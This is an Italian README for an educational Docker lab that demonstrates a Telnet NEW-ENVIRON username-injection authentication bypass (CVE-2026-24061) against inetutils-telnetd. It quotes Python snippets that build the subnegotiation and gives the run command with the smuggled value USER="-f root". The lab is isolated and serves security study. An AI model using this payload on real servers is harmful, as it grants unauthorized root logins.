
# Laboratorio Docker educativo che dimostra l'iniezione del nome utente NEW-ENVIRON di Telnet (CVE-2026-24061) con un client Python e un server vulnerabile per ricerca sulla sicurezza isolata.
Un laboratorio Docker leggero per sperimentare con la negoziazione del protocollo Telnet, spiegato nell'exploit CVE-2026-24061, che contiene l'iniezione automatica del nome utente tramite l'opzione NEW-ENVIRON.
Questo progetto crea un ambiente client-server isolato per studiare come Telnet gestisce il bypass dell'autenticazione basato su variabili d'ambiente.
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Client | | Telnet |
| Python | | Server |
+---------+ +---------+
| Contenitore | Ruolo |
|---|---|
| node1 | Client Python con script di auto-login |
| node2 | Server Telnet (inetutils-telnetd 2.7) |
Entrambi i servizi vengono eseguiti all'interno di una rete bridge Docker privata, denominata labnet.
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
Questo file è responsabile dell'installazione del contenitore client, denominato node1.
Ho scelto python:3.12-slim come immagine di base, poiché lo scopo di questo laboratorio è esclusivamente la comunicazione di rete. Installiamo solo il client telnet stesso e copiamo exploit.py nella cartella root del contenitore.
Il file è responsabile dell'installazione del contenitore server, denominato node2.
La stessa immagine di base vale anche per questo contenitore. Tuttavia, il processo di installazione prevede più passaggi:
wget, per ottenere la versione vulnerabile di telnetd.apt get install -y/etc/inetd.conf abilita il servizio telnet.All'inizio del file, vediamo alcune costanti dichiarate:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC, con il valore di 255, significa Interpret As Command, quindi segna l'inizio della sequenza di controllo Telnet.
Puoi esaminare ulteriori opzioni qui
Il formato di solito si presenta così:
IAC <comando> <opzione>
Nello script, c'è la seguente parte:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
Questo if verifica che, se i dati attualmente ricevuti dal server contengono il valore IAC, dobbiamo interpretarli come un comando.
Attraversiamo i dati ricevuti usando un ciclo while. Controlliamo per ogni byte se è un IAC.
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
Se lo è, assegniamo alle variabili cmd e opt il byte corrispondente del flusso di dati.
Se il valore opt è uguale al valore di NEW_ENVIRON, lo script esegue il metodo send_new_environ_user.
Esaminiamo la seguente parte di codice:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
SB e SE fanno parte delle costanti del protocollo Telnet. SB sta per 'Subnegotiation begin' (inizio sotto-negoziazione), mentre SE sta per 'Subnegotiation end' (fine sotto-negoziazione). Tutto ciò che si trova tra questi due valori sono impostazioni relative a un comando specifico, inviate al server. In questo caso, vogliamo inviare un messaggio usando lo standard rfc1572, in dettaglio qui.
Possiamo tradurre liberamente la sequenza di byte in italiano, come:
- Interpreta questo come un comando (IAC)
- È (0)
- Una nuova variabile d'ambiente (NEW_ENVIRON)
- Il valore di questa nuova variabile d'ambiente è (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Termina la sotto-connessione (IAC + SE)
Tuttavia, ci sono casi in cui il server Telnet di destinazione non supporta le variabili d'ambiente relative ai nomi utente. In questo caso, ripieghiamo sull'invio del nome utente nel modo tradizionale.
Verifica dell'installazione:
docker --version
docker compose version
docker compose up --build -d
Controlla lo stato:
docker ps
Dovresti vedere:
node1node2docker exec -it node1 bash
Imposta un nome utente ed esegui lo script:
USER="-f root" python exploit.py node2
Lo script:
node2 sulla porta 23USER=-f root usando NEW-ENVIRONlabnet| Hostname | Servizio |
|---|---|
| node1 | Client |
| node2 | Server Telnet |
Lo script client:
IAC, DO, WILL, che sono comandi fondamentali del protocollo Telnet usati per la negoziazione delle opzioni tra client e server.NEW-ENVIRONUSER=<valore di $USER>
login: o username: come ripiegoArresta l'ambiente:
docker compose down
Se vuoi anche rimuovere contenitori e immagini:
docker compose down --rmi all
Telnet trasmette i dati in chiaro e non è sicuro. Questo progetto è destinato solo a scopi educativi, all'interno di ambienti isolati.
Connessione rifiutata
Assicurati che i contenitori siano in esecuzione:
docker ps
Lo script termina con errore USER
USER="-f root" python exploit.py node2
Ricostruzione dopo le modifiche
docker compose up --build
Questo repository è fornito per uso educativo e di ricerca. Contributi e miglioramenti sono benvenuti.